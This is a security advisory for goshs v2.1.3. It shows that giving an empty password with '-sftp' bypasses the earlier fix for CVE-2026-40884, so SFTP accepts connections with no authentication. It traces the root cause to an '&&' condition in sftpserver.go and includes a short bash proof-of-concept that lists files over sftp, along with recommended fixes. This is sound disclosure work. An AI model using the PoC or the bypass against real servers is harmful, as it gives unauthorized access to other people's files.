GHSA-rjrw-mjq6-hpmm

## Summary

Start goshs v2.1.3 with `-b 'admin:' -sftp`. No `-fkf`. SFTP accepts connections without password. CVE-2026-40884 blocks the empty-username variant (`-b ':pass'`). The empty-password variant bypasses that fix.

## CVE-2026-40884

**CVE-2026-40884** (GHSA-c29w-qq4m-2gcv, Apr 13 2026) reported the empty-username case: `-b ':pass'` with `-sftp`. `sftpserver.go:85` uses `&&`:

```go if s.Username != "" && s.Password != "" { sshServer.PasswordHandler = func(ctx ssh.Context, password string) bool { return subtle.ConstantTimeCompare([]byte(ctx.User()), []byte(s.Username)) == 1 && subtle.ConstantTimeCompare([]byte(password), []byte(s.Password)) == 1 } } ```

Empty username → `Username != ""` false → `PasswordHandler` nil. No `-fkf` means `PublicKeyHandler` also nil. gliderlabs/ssh sees all handlers nil and sets `NoClientAuth = true`. Unauthenticated access.

Patrickhener fixed it with a sanity check at `sanity/checks.go:114-118`:

```go if opts.FTP && opts.FTPSFTPMode && strings.HasPrefix(opts.BasicAuth, ":") { logger.Fatal("When using SFTP with password authentication, the username cannot be empty. ...") } ```

`HasPrefix(":")` catches empty username. It does not catch empty password.

## Empty Password Bypass

Same `&&` at `sftpserver.go:85`. Same nil handler. Different input:

``` goshs -b 'admin:' -sftp ```

- `Username = "admin"`, `Password = ""` - `Username != "" && Password != ""` → false. Password is empty. - `PasswordHandler` not set. No `-fkf` → `PublicKeyHandler` not set. - gliderlabs/ssh → `NoClientAuth = true`.

CVE-2026-40884 patched the symptom (empty username) with input validation. Root cause (`&&`) stayed in the code. v2.1.3 still has it. That makes any unanticipated input format exploitable.

## PoC

```bash #!/usr/bin/env bash set -euo pipefail

HOST="${1:-127.0.0.1}" PORT="${2:-2121}"

echo "[*] Connecting to goshs SFTP at $HOST:$PORT with empty password..." echo "ls -la /" | sftp -o StrictHostKeyChecking=no \ -o UserKnownHostsFile=/dev/null \ -o PreferredAuthentications=none,password \ -o PubkeyAuthentication=no \ -P "$PORT" -b - admin@"$HOST" 2>&1 && \ echo "[+] VULNERABLE: Connected without password!" || \ echo "[-] Connection failed (patched or not running)" ```

## Root Cause

```go // Wrong: && if s.Username != "" && s.Password != "" {

// Correct: || if s.Username != "" || s.Password != "" { ```

`&&` blocks `PasswordHandler` when either field is empty. `||` installs it when either field is set.

## Incomplete Fix

Patrickhener added `HasPrefix(":")` at `sanity/checks.go:116`. Two gaps remain:

1. `&&` still at `sftpserver.go:85` in v2.1.3 2. No `HasSuffix(":")` check for empty password

## Impact

- Unauthenticated SFTP file access (read, write, delete, rename) - Same impact as CVE-2026-40884 via a different input - Exploitable with `-b 'user:'` and no `-fkf`

## Affected

All goshs versions including v2.1.3. CVE-2026-40884 fix does not cover this variant.

## Recommended Fix

1. `&&` → `||` at `sftpserver/sftpserver.go:85` 2. `HasSuffix(":")` check at `sanity/checks.go` 3. Shared auth handler setup for HTTP and SFTP code paths